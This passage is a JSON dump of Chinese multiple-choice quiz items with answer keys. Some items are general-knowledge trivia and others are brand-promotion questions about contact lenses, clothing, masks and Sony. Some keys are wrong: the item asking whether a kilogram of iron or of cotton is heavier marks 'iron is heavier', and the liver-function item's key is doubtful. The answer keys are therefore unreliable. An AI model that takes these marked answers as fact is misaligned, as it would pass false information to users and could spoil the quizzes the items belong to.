04:44:52","status":"1"},{"questionId":"8801432244","questionIndex":"5","questionStem":"一公斤铁和一公斤棉花哪一个重?","options":"[{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVhccwsdZJYkJVDc\",\"optionDesc\":\"铁重一点\"},{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVeIQaWm7UqII3FY\",\"optionDesc\":\"棉花重一点\"},{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVPp6dszV-rDRVeg\",\"optionDesc\":\"一样重\"}]","questionToken":"I8wSx0BQjTwwEb_XEOYxBMuOaIBaTJW3FOwfZNO06bDFz7yMw7ur5BZukYEFHVsNaR-DiRG6JPlbJX3XK0zk3BLXVoKL8g","correct":"{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVhccwsdZJYkJVDc\",\"optionDesc\":\"铁重一点\"}","create_time":"27/1/2021 04:50:25","update_time":"27/1/2021 04:50:25","status":"1"},{"questionId":"8801432245","questionIndex":"2","questionStem":"“打蛇打七寸”的七寸是指?","options":"[{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVdkrEJ_karjvMPE\",\"optionDesc\":\"蛇的胃\"},{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVGqA13-6GuGNBro\",\"optionDesc\":\"蛇的胆\"},{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVhejWq682X9J3Dg\",\"optionDesc\":\"蛇的心脏\"}]","questionToken":"I8wSx0BQjTwwEL_QEOYxBGGHD7uykMeQltEmMC892QimtCxc8X8cqcgI-SXfGefhGbmHBqZIxxZBQ8mSFYQTDcrdd5nApQ","correct":"{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVhejWq682X9J3Dg\",\"optionDesc\":\"蛇的心脏\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 04:48:15","status":"1"},{"questionId":"8801432246","questionIndex":"4","questionStem":"世界地球日是每年的?","options":"[{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVv0TiguHsNj2_agupQ\",\"optionDesc\":\"4月22日\"},{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVI4gb1JkgD-eQVwQtA\",\"optionDesc\":\"3月12日\"},{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVf3oBxgQ1x2TTD-kUQ\",\"optionDesc\":\"12月1日\"}]","questionToken":"I8wSx0BQjTwwE7_WEOYxBJXcLp-6fIuESTIDWwGmW-ldrNhykU91WJRHJpd0oPrD4uA__KSmiZu93LVfX8B4Um_VomhuzQ","correct":"{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVv0TiguHsNj2_agupQ\",\"optionDesc\":\"4月22日\"}","create_time":"27/1/2021 04:42:53","update_time":"27/1/2021 04:42:53","status":"1"},{"questionId":"8801432247","questionIndex":"1","questionStem":"我国现有文献中最早引用勾股定理的是?","options":"[{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVkp4zJAhsRZqAjeP5w\",\"optionDesc\":\"《周髀算经》\"},{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVdnRecE5ICUFFFOVBw\",\"optionDesc\":\"《孙子算经》\"},{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVMsbm_KBW_vMBSi3Yw\",\"optionDesc\":\"《九章算术》\"}]","questionToken":"I8wSx0BQjTwwEr_TEOYxBHH60Gba3VpyiDDwO7MzNXu4WKnJcrufemkbUBTYhCk3Ts81RpsQXiNMWcmBxEFlXe8OFpRadQ","correct":"{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVkp4zJAhsRZqAjeP5w\",\"optionDesc\":\"《周髀算经》\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"8801432248","questionIndex":"1","questionStem":"西方称之为“物理学之父”的科学家是?","options":"[{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVRAjav1xNdcIIlyx\",\"optionDesc\":\"欧几里德\"},{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVFq9XkYQOCrVWDru\",\"optionDesc\":\"牛顿\"},{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVniS7gCi4OVjXZ1Q\",\"optionDesc\":\"阿基米德\"}]","questionToken":"I8wSx0BQjTwwHb_TEOYxBEExviwqVw7Nkqr38ZVRiWR8OSh3PX4pHCetUF2f0AIpfZzrZSbxMUmdgLWpPsWyVKo2Z_e9DA","correct":"{\"optionId\":\"I8wSx0BQjTwwHb-BA64qVniS7gCi4OVjXZ1Q\",\"optionDesc\":\"阿基米德\"}","create_time":"27/1/2021 04:48:48","update_time":"27/1/2021 04:48:48","status":"1"},{"questionId":"8801432249","questionIndex":"3","questionStem":"酒精灯点燃后,最合理的熄灭方法是?","options":"[{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVVf8fCYiUBZQmxdYsQ\",\"optionDesc\":\"用嘴吹灭\"},{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVOjWFYFxJIcFDNMhZQ\",\"optionDesc\":\"撒上一层细沙\"},{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVjvI4KdlhGiwCMt88g\",\"optionDesc\":\"将灯帽盖上\"}]","questionToken":"I8wSx0BQjTwwHL_REOYxBKx_566bEWYIT7iIplJvKXqrwg3kdMwzKYaw924-a-di7PiE5LY-XOVDVj81xT0mi3vd7SjhHA","correct":"{\"optionId\":\"I8wSx0BQjTwwHL-BA64qVjvI4KdlhGiwCMt88g\",\"optionDesc\":\"将灯帽盖上\"}","create_time":"27/1/2021 04:48:23","update_time":"27/1/2021 04:48:23","status":"1"},{"questionId":"8801432250","questionIndex":"2","questionStem":"下列不属于人体肝脏的功能的是?","options":"[{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVrsPIwJU_k-jqWRpZA\",\"optionDesc\":\"血糖转化功能\"},{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVZMH71VsOjXipRxc0w\",\"optionDesc\":\"消化功能\"},{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVMN2QNJweGcKMiEvKg\",\"optionDesc\":\"解毒功能\"}]","questionToken":"I8wSx0BQjTwxFb_QEOYxBN0p2uJ97Jfj3paNGuR5gxvyNsLPZk5PHrJgKAJnqsodOKqUGVPJMIAE3ZPjnjh4gFc6OaUGnw","correct":"{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVrsPIwJU_k-jqWRpZA\",\"optionDesc\":\"血糖转化功能\"}","create_time":"27/1/2021 04:50:21","update_time":"27/1/2021 04:50:21","status":"1"},{"questionId":"8801432251","questionIndex":"3","questionStem":"月球环绕地球一周的时间约为?","options":"[{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVLtTIVP_BKZG4l0\",\"optionDesc\":\"一年\"},{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVp2cKhZauRlAANw\",\"optionDesc\":\"一个月\"},{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVckRXRgAJTG7SRE\",\"optionDesc\":\"一天\"}]","questionToken":"I8wSx0BQjTwxFL_REOYxBBMJrzB0PTX4t32nhcKsF6gjl3Cwpp66B2b6GiGNhw-C1_iw2hVQ9eGPMHqzlguYCdIIf4di1w","correct":"{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVp2cKhZauRlAANw\",\"optionDesc\":\"一个月\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801432252","questionIndex":"3","questionStem":"下列哪个奖项不在诺贝尔奖之列?","options":"[{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVrK7q5QbRkWOmXc\",\"optionDesc\":\"数学奖\"},{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVRZkjfPleatf-CU\",\"optionDesc\":\"物理学奖\"},{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVPfn-lNzCTDFclY\",\"optionDesc\":\"医学奖\"}]","questionToken":"I8wSx0BQjTwxF7_REOYxBAH1-8AcDl9grOomM47i397bNe2EOrzpEBiolG34Fs2H50n4mBPL6V75dIxFACRRrfz0qTZslA","correct":"{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVrK7q5QbRkWOmXc\",\"optionDesc\":\"数学奖\"}","create_time":"27/1/2021 04:50:55","update_time":"27/1/2021 04:50:55","status":"1"},{"questionId":"8801432253","questionIndex":"5","questionStem":"\"蜻蜒点水\"是为了?","options":"[{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVMSLwDSBV-Do7Yr9Bg\",\"optionDesc\":\"呼吸\"},{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVax8KHc33TClONnFww\",\"optionDesc\":\"戏水\"},{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVplc6vZZdYg117NyGg\",\"optionDesc\":\"产卵\"}]","questionToken":"I8wSx0BQjTwxFr_XEOYxA2T1CYVe6NG_-hVUrObWXpyvmLSckN2_H1JxHYs4-Xanmu7aYCBrP5qwo2bJPI3e9I6X6a270w","correct":"{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVplc6vZZdYg117NyGg\",\"optionDesc\":\"产卵\"}","create_time":"27/1/2021 04:33:00","update_time":"27/1/2021 04:33:00","status":"1"},{"questionId":"8801432254","questionIndex":"3","questionStem":"最早的飞机使用的发动机是?","options":"[{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVLmb9cShp_TtI5AK\",\"optionDesc\":\"涡轮喷气发动机\"},{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVhkTVbvHgR7-wFV-\",\"optionDesc\":\"活塞螺旋桨发动机\"},{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVdi-RLqWc4YU4thG\",\"optionDesc\":\"涡轮风扇发动机\"}]","questionToken":"I8wSx0BQjTwxEb_REOYxA-ACOjlBTFt66o68fJHm5EpPSIOt9Zez8J8Bhdgj3v0dhhQzPgbeO5M680D3MIs6HpS-tbM9rQ","correct":"{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVhkTVbvHgR7-wFV-\",\"optionDesc\":\"活塞螺旋桨发动机\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"8801432255","questionIndex":"4","questionStem":"下面所列选项哪个不是地下茎?","options":"[{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVmtYFI0X_jPz6VHW\",\"optionDesc\":\"胡萝卜\"},{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVfizvi5wgoezAMsF\",\"optionDesc\":\"荸荠\"},{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVCKeAf2IZlyF4otB\",\"optionDesc\":\"马玲薯\"}]","questionToken":"I8wSx0BQjTwxEL_WEOYxBHcRH3lfhWxB2AnH7ydlUpLt9VZ9nnEvy617N5e5ovq1_uvk_0wrZUOR_EWv9K0447LODd570g","correct":"{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVmtYFI0X_jPz6VHW\",\"optionDesc\":\"胡萝卜\"}","create_time":"27/1/2021 04:52:13","update_time":"27/1/2021 04:52:13","status":"1"},{"questionId":"8801432256","questionIndex":"1","questionStem":"划分湖南、湖北的“湖”是指?","options":"[{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVrd7lGzBxkOhHyhKbA\",\"optionDesc\":\"洞庭湖\"},{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVX7btHwHaLutazcZ7w\",\"optionDesc\":\"东湖\"},{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVDqojGC92yzpj9nCIw\",\"optionDesc\":\"鄱阳湖\"}]","questionToken":"I8wSx0BQjTwxE7_TEOYxBIIaNkfj2bRybFoaxmFwnTNleDpbLeCVVkmfhlP8bjNzHWn3n3n3EiInrbB--vq7lc7jTbdbwA","correct":"{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVrd7lGzBxkOhHyhKbA\",\"optionDesc\":\"洞庭湖\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 04:40:39","status":"1"},{"questionId":"9101427406","questionIndex":"5","questionStem":"强生隐形眼镜是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoCt620opcfq3bl4bq3OzveBaM\",\"optionDesc\":\"中国\"},{\"optionId\":\"IsUSx0BRiDoCt620opcfqP1Y-reAaSZaXw8\",\"optionDesc\":\"美国 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoCt620opcfqkQXlnj4Af3iCDQ\",\"optionDesc\":\"德国\"}]","questionToken":"IsUSx0BRiDoCt63isd8E-uknHVBk5Ee2yu6m4Pbw23FtWwvt1ES4u0vlQo0-SWOaVv08ueS4lVv5QaIkWM1U_cc8GmFZlw","correct":"{\"optionId\":\"IsUSx0BRiDoCt620opcfqP1Y-reAaSZaXw8\",\"optionDesc\":\"美国 \\t \\t\"}","create_time":"27/1/2021 04:44:28","update_time":"27/1/2021 04:44:28","status":"1"},{"questionId":"9101427407","questionIndex":"5","questionStem":"美瞳是强生的注册商标吗?","options":"[{\"optionId\":\"IsUSx0BRiDoCtq20opcfqnFKZUuRMGF5G_Q\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"IsUSx0BRiDoCtq20opcfqLXvgwNzBL1Lk3w\",\"optionDesc\":\"是\"},{\"optionId\":\"IsUSx0BRiDoCtq20opcfqztpPFKwZpMuQ8Q\",\"optionDesc\":\"不是\"}]","questionToken":"IsUSx0BRiDoCtq3isd8E_aP00rWk9YKjqySBKW6HzIgKiMzHSh45vts5S5JuPjIWpti77lL-NkzJuO932qetsZwivdAeFQ","correct":"{\"optionId\":\"IsUSx0BRiDoCtq20opcfqLXvgwNzBL1Lk3w\",\"optionDesc\":\"是\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"9101427408","questionIndex":"1","questionStem":"强生隐形眼镜提倡的是?","options":"[{\"optionId\":\"IsUSx0BRiDoCua20opcfq7CPqE5HKNXCRECpSQ\",\"optionDesc\":\"抛型周期越长越划算 \"},{\"optionId\":\"IsUSx0BRiDoCua20opcfqgOh-ZGUrCP244EdyQ\",\"optionDesc\":\"美瞳色素越夸张越好\"},{\"optionId\":\"IsUSx0BRiDoCua20opcfqLIV-GcvsMeSp6h5Dw\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}]","questionToken":"IsUSx0BRiDoCua3msd8E-mJ2G1CoQm3wVePwU1ISJPoh7Vb5Ndw5O9zq5QFYehf86Ar6NJp_H_68d7KbHBf0sOSyBeiiCQ","correct":"{\"optionId\":\"IsUSx0BRiDoCua20opcfqLIV-GcvsMeSp6h5Dw\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}","create_time":"27/1/2021 04:39:29","update_time":"27/1/2021 04:39:29","status":"1"},{"questionId":"9101427409","questionIndex":"3","questionStem":"以下哪个不是强生隐形眼镜售卖的抛型?","options":"[{\"optionId\":\"IsUSx0BRiDoCuK20opcfqBwm6pHzvsAepmC6_w\",\"optionDesc\":\"年抛 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoCuK20opcfqtSK98oZqxhC43Uxug\",\"optionDesc\":\"双周抛\"},{\"optionId\":\"IsUSx0BRiDoCuK20opcfqyoIS_dbTIvH_vw_ew\",\"optionDesc\":\"日抛\"}]","questionToken":"IsUSx0BRiDoCuK3ksd8E-uTKXsmH6MrgXcg4Lj17cCXEyjvCw88DacLss7l7bEbH4AGOhzHpzW3ind7gslqPVYJoXQr-6Q","correct":"{\"optionId\":\"IsUSx0BRiDoCuK20opcfqBwm6pHzvsAepmC6_w\",\"optionDesc\":\"年抛 \\t \\t\"}","create_time":"27/1/2021 04:39:40","update_time":"27/1/2021 04:39:40","status":"1"},{"questionId":"9101427410","questionIndex":"4","questionStem":"以下哪个不是强生安视优的产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDsa20opcfqMMPDM1vE3yLcCA6vA\",\"optionDesc\":\"泡泡实验室 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoDsa20opcfqyNBsPRyRDi0g86ukA\",\"optionDesc\":\"舒日\"},{\"optionId\":\"IsUSx0BRiDoDsa20opcfqgJ2BBHQsVgvYChIGA\",\"optionDesc\":\"美瞳\"}]","questionToken":"IsUSx0BRiDoDsa3jsd8E_VXdsRaM5ZHSJtUyu6xBAHfnkn0bMBndDPxZXz_DNi3RZJze8v5v321YK4JdX-teoXtIaZ8Thw","correct":"{\"optionId\":\"IsUSx0BRiDoDsa20opcfqMMPDM1vE3yLcCA6vA\",\"optionDesc\":\"泡泡实验室 \\t \\t\"}","create_time":"27/1/2021 04:51:32","update_time":"27/1/2021 04:51:32","status":"1"},{"questionId":"9101427411","questionIndex":"5","questionStem":"三枪集团总部坐落于?","options":"[{\"optionId\":\"IsUSx0BRiDoDsK20opcfqjRFdHfMPU6D9HOa\",\"optionDesc\":\"广东深圳\"},{\"optionId\":\"IsUSx0BRiDoDsK20opcfqMN_AeGEr_Fpou7H\",\"optionDesc\":\"上海浦东\"},{\"optionId\":\"IsUSx0BRiDoDsK20opcfq70bkFtqm427ml0h\",\"optionDesc\":\"上海黄浦\\t\"}]","questionToken":"IsUSx0BRiDoDsK3isd8E-mWlvHEVbsUBD9_5lfcIMXA6sQa_4lgxkodVcvEqf3z4zwC5zkU9oftZbHJRvsOUzPDLAwel2g","correct":"{\"optionId\":\"IsUSx0BRiDoDsK20opcfqMN_AeGEr_Fpou7H\",\"optionDesc\":\"上海浦东\"}","create_time":"27/1/2021 04:48:46","update_time":"27/1/2021 04:48:46","status":"1"},{"questionId":"9101427412","questionIndex":"1","questionStem":"三枪品牌创始于哪一年?","options":"[{\"optionId\":\"IsUSx0BRiDoDs620opcfq21CKRJ1oRDh\",\"optionDesc\":\"1994\"},{\"optionId\":\"IsUSx0BRiDoDs620opcfqqoYYYCkRQDD\",\"optionDesc\":\"1957\"},{\"optionId\":\"IsUSx0BRiDoDs620opcfqEMGyKQcUdkA\",\"optionDesc\":\"1937\\t\\t\"}]","questionToken":"IsUSx0BRiDoDs63msd8E-jhQ55lLtrXkUCdgOw55ogl4fUYQysCNmPmCfHvNAafhW_-Xvdc8XHewmUJpGvPry9JinOvkFw","correct":"{\"optionId\":\"IsUSx0BRiDoDs620opcfqEMGyKQcUdkA\",\"optionDesc\":\"1937\\t\\t\"}","create_time":"27/1/2021 04:39:42","update_time":"27/1/2021 04:39:42","status":"1"},{"questionId":"9101427414","questionIndex":"1","questionStem":"以下哪个品牌与三枪有过联名?","options":"[{\"optionId\":\"IsUSx0BRiDoDta20opcfqvOcyc3xkmMM2rzt\",\"optionDesc\":\"李宁\"},{\"optionId\":\"IsUSx0BRiDoDta20opcfqIbHIDLK3e3tVUJi\",\"optionDesc\":\"故宫宫廷文化\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoDta20opcfq4ylr7um1RbgI2gI\",\"optionDesc\":\"光明\"}]","questionToken":"IsUSx0BRiDoDta3msd8E-sLwkWFa0iBuHXbxSnoFHO2kmqRdWXw71DoGktff_gHk_Xzj1nqAM94afwSR0SnEZO9DKW4U9Q","correct":"{\"optionId\":\"IsUSx0BRiDoDta20opcfqIbHIDLK3e3tVUJi\",\"optionDesc\":\"故宫宫廷文化\\t\\t\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"9101427415","questionIndex":"4","questionStem":"以下哪个不属于三枪业务?","options":"[{\"optionId\":\"IsUSx0BRiDoDtK20opcfq4qvFhxJg_oO2ic\",\"optionDesc\":\"服饰\\t\"},{\"optionId\":\"IsUSx0BRiDoDtK20opcfqt0x-anTD9qIxNM\",\"optionDesc\":\"家纺\"},{\"optionId\":\"IsUSx0BRiDoDtK20opcfqNZ32AP9-ULn-CA\",\"optionDesc\":\"食品\\t\"}]","questionToken":"IsUSx0BRiDoDtK3jsd8E_S19-K54X0baWAZQM2d25pi5BSGLNE3B3r9Bq7HT27ODUoRm3-ISLZawkkwF1egod336y2m92w","correct":"{\"optionId\":\"IsUSx0BRiDoDtK20opcfqNZ32AP9-ULn-CA\",\"optionDesc\":\"食品\\t\"}","create_time":"27/1/2021 04:40:36","update_time":"27/1/2021 04:40:36","status":"1"},{"questionId":"9101427416","questionIndex":"4","questionStem":"以下哪个品牌属于三枪集团?","options":"[{\"optionId\":\"IsUSx0BRiDoDt620opcfqPeRBGqL_w4xrI6j\",\"optionDesc\":\"鹅牌\\t\"},{\"optionId\":\"IsUSx0BRiDoDt620opcfq6gHO0UieodeN-Rz\",\"optionDesc\":\"钟牌\\t\"},{\"optionId\":\"IsUSx0BRiDoDt620opcfqm0vqUXmazh4pBcE\",\"optionDesc\":\"民光\"}]","questionToken":"IsUSx0BRiDoDt63jsd8E_UMW5Zpjs6yx3y3EA4PQTz9nCUBgKI1k0Q_Ynw_zNUvG9fXOTEL_U9Ge6ptAkPNYigtsuM1E2w","correct":"{\"optionId\":\"IsUSx0BRiDoDt620opcfqPeRBGqL_w4xrI6j\",\"optionDesc\":\"鹅牌\\t\"}","create_time":"27/1/2021 04:45:20","update_time":"27/1/2021 04:45:20","status":"1"},{"questionId":"9101427418","questionIndex":"3","questionStem":"佳佰 万信达在京东主营什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDua20opcfqitilAIAI5MPhuZ6\",\"optionDesc\":\"护肤品\"},{\"optionId\":\"IsUSx0BRiDoDua20opcfqxGHuMjYrfy6MQrt\",\"optionDesc\":\"箱包\\t\"},{\"optionId\":\"IsUSx0BRiDoDua20opcfqP6aBR01zRTngrfi\",\"optionDesc\":\"口罩\\t\"}]","questionToken":"IsUSx0BRiDoDua3ksd8E-qn_kTbf6faPRep9zcT9BSYV1HV2la5GASm0XkNDLoth4ufJvJdSy2N8EUcO5hoJAr0kJKlXQg","correct":"{\"optionId\":\"IsUSx0BRiDoDua20opcfqP6aBR01zRTngrfi\",\"optionDesc\":\"口罩\\t\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"9101427419","questionIndex":"5","questionStem":"佳佰 万信达今年推出了什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDuK20opcfqvVeZ3d0dop_uVA\",\"optionDesc\":\"拜年手机\"},{\"optionId\":\"IsUSx0BRiDoDuK20opcfqGYA5KH2NIsoSqU\",\"optionDesc\":\"拜年口罩\\t\"},{\"optionId\":\"IsUSx0BRiDoDuK20opcfq8msEYUZ__RMlTk\",\"optionDesc\":\"拜年箱包\\t\"}]","questionToken":"IsUSx0BRiDoDuK3isd8E_VZ8rQTSpo3a-Z7WNLJX7a9f1_8jnosta1VsySwsjeNKnBLm3lbW4dC8IWRNK6xgN6Zo_by8bg","correct":"{\"optionId\":\"IsUSx0BRiDoDuK20opcfqGYA5KH2NIsoSqU\",\"optionDesc\":\"拜年口罩\\t\"}","create_time":"27/1/2021 04:49:56","update_time":"27/1/2021 04:49:56","status":"1"},{"questionId":"9101427420","questionIndex":"5","questionStem":"佳佰 万信达LOGO简称是?","options":"[{\"optionId\":\"IsUSx0BRiDoAsa20opcfqyxohSsBCwI\",\"optionDesc\":\"WXDD\\t\"},{\"optionId\":\"IsUSx0BRiDoAsa20opcfqC7WfGMolgg\",\"optionDesc\":\"WXD\\t\"},{\"optionId\":\"IsUSx0BRiDoAsa20opcfqqtmzt87A50\",\"optionDesc\":\"WDX\"}]","questionToken":"IsUSx0BRiDoAsa3isd8E-qipWNtUvOWRMwSnEGzWtrjkCXKt8iC9U0ExozG5OTmq-yrvOznh6x5IOY1Jw0ka8zo3NMEYpQ","correct":"{\"optionId\":\"IsUSx0BRiDoAsa20opcfqC7WfGMolgg\",\"optionDesc\":\"WXD\\t\"}","create_time":"27/1/2021 04:37:44","update_time":"27/1/2021 04:37:44","status":"1"},{"questionId":"9101427421","questionIndex":"2","questionStem":"以下哪个不是佳佰 万信达的拜年口罩类型?","options":"[{\"optionId\":\"IsUSx0BRiDoAsK20opcfqprAJ1evpuOWdcAVaA\",\"optionDesc\":\"牛年顺利\"},{\"optionId\":\"IsUSx0BRiDoAsK20opcfqxYs_w19Au3Euqkzwg\",\"optionDesc\":\"牛转乾坤\\t\"},{\"optionId\":\"IsUSx0BRiDoAsK20opcfqABdYLMsjYo8mFH6QA\",\"optionDesc\":\"福星高照\\t\"}]","questionToken":"IsUSx0BRiDoAsK3lsd8E_Yorgwa8xT4zNMgCGWpKilk7d65GJgicCCGZVbF-FgSC5mlFC6Dsb_lh1kJMo-4D2E0bvnPoDQ","correct":"{\"optionId\":\"IsUSx0BRiDoAsK20opcfqABdYLMsjYo8mFH6QA\",\"optionDesc\":\"福星高照\\t\"}","create_time":"27/1/2021 04:00:28","update_time":"27/1/2021 04:00:28","status":"1"},{"questionId":"9101427422","questionIndex":"2","questionStem":"以下哪个是佳佰 万信达产品的覆盖范围?","options":"[{\"optionId\":\"IsUSx0BRiDoAs620opcfqv2mbpK6gSlxV_WtvQ\",\"optionDesc\":\"俄罗斯\"},{\"optionId\":\"IsUSx0BRiDoAs620opcfqI0RbI3l8m0ElIXI-Q\",\"optionDesc\":\"中国\"},{\"optionId\":\"IsUSx0BRiDoAs620opcfqwQ_ckQmX86Rs5dv5A\",\"optionDesc\":\"英国\"}]","questionToken":"IsUSx0BRiDoAs63lsd8E-vc2KETe-qT1ucoQyDzkzCD3Io0ng1wgy1MwCEVBvgEbmkklYcPJVTIPYdaKbru64kd0Je1Bpw","correct":"{\"optionId\":\"IsUSx0BRiDoAs620opcfqI0RbI3l8m0ElIXI-Q\",\"optionDesc\":\"中国\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"9101427423","questionIndex":"3","questionStem":"索尼公司于哪一年成立?","options":"[{\"optionId\":\"IsUSx0BRiDoAsq20opcfqgqIMeA3lyzP--TW\",\"optionDesc\":\"1958\"},{\"optionId\":\"IsUSx0BRiDoAsq20opcfq5xwq-x2mjVz_zjz\",\"optionDesc\":\"1956\\t\"},{\"optionId\":\"IsUSx0BRiDoAsq20opcfqOvYYfagrusqhSi1\",\"optionDesc\":\"1946\\t\"}]","questionToken":"IsUSx0BRiDoAsq3ksd8E-j_WtpFQ-2OQ7HgTRpN7Jx04s8329VMQlkSAipoH6CfBmlyxcZIx7wIY4LeBis8d6s8eWzt5fg","correct":"{\"optionId\":\"IsUSx0BRiDoAsq20opcfqOvYYfagrusqhSi1\",\"optionDesc\":\"1946\\t\"}","create_time":"27/1/2021 04:49:53","update_time":"27/1/2021 04:49:53","status":"1"},{"questionId":"9101427425","questionIndex":"3","questionStem":"索尼公司创立于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoAtK20opcfq35QNRSuZivGn5za\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDoAtK20opcfqsnv1-XR2tE-mZzc\",\"optionDesc\":\"德国\"},{\"optionId\":\"IsUSx0BRiDoAtK20opcfqNqb6qN9xg41bkF5\",\"optionDesc\":\"日本\"}]","questionToken":"IsUSx0BRiDoAtK3ksd8E_cEj2sMx9i_DmyFAQbsjUC4RxYHKJqMe6T3yXyXvKoxhe7WLmTrqdV_e4siOqX0Thv5vTbV4mg","correct":"{\"optionId\":\"IsUSx0BRiDoAtK20opcfqNqb6qN9xg41bkF5\",\"optionDesc\":\"日本\"}","create_time":"27/1/2021 04:38:24","update_time":"27/1/2021 04:38:24","status":"1"},{"questionId":"9101427426","questionIndex":"5","questionStem":"索尼公司哪一年进入中国?","options":"[{\"optionId\":\"IsUSx0BRiDoAt620opcfqonxiOIoHX3rvTA\",\"optionDesc\":\"2000\"},{\"optionId\":\"IsUSx0BRiDoAt620opcfq3Q6vjMAIptoodY\",\"optionDesc\":\"1998\\t\"},{\"optionId\":\"IsUSx0BRiDoAt620opcfqFEaCRPPTEjAnEc\",\"optionDesc\":\"1996\\t\"}]","questionToken":"IsUSx0BRiDoAt63isd8E-iHw-KyDR2RftVbMWznxLQ2K9MXclkqqtP1Xpa-b5zePKkSAHnea3XkJW1hzCsMv75DLPuTN-A","correct":"{\"optionId\":\"IsUSx0BRiDoAt620opcfqFEaCRPPTEjAnEc\",\"optionDesc\":\"1996\\t\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"9101427427","questionIndex":"4","questionStem":"索尼微单最高连拍可达多少?","options":"[{\"optionId\":\"IsUSx0BRiDoAtq20opcfqCe-lg1NAZplUVjp\",\"optionDesc\":\"约20张/秒\\t\"},{\"optionId\":\"IsUSx0BRiDoAtq20opcfqgUhmaXArUnh4OSs\",\"optionDesc\":\"约15张/秒\"},{\"optionId\":\"IsUSx0BRiDoAtq20opcfqw3UjOomVVXRKeKQ\",\"optionDesc\":\"约25张/秒\\t\"}]","questionToken":"IsUSx0BRiDoAtq3jsd8E_Wt09Ge1IWLme0pRc90kFVwe9SKDYi5QwHQF_p01QzU50HYm-Vd1m40aTJpHHo3Ib5QfJtJ7yw","correct":"{\"optionId\":\"IsUSx0BRiDoAtq20opcfqCe-lg1NAZplUVjp\",\"optionDesc\":\"约20张/秒\\t\"}","create_time":"27/1/2021 04:48:45","update_time":"27/1/2021 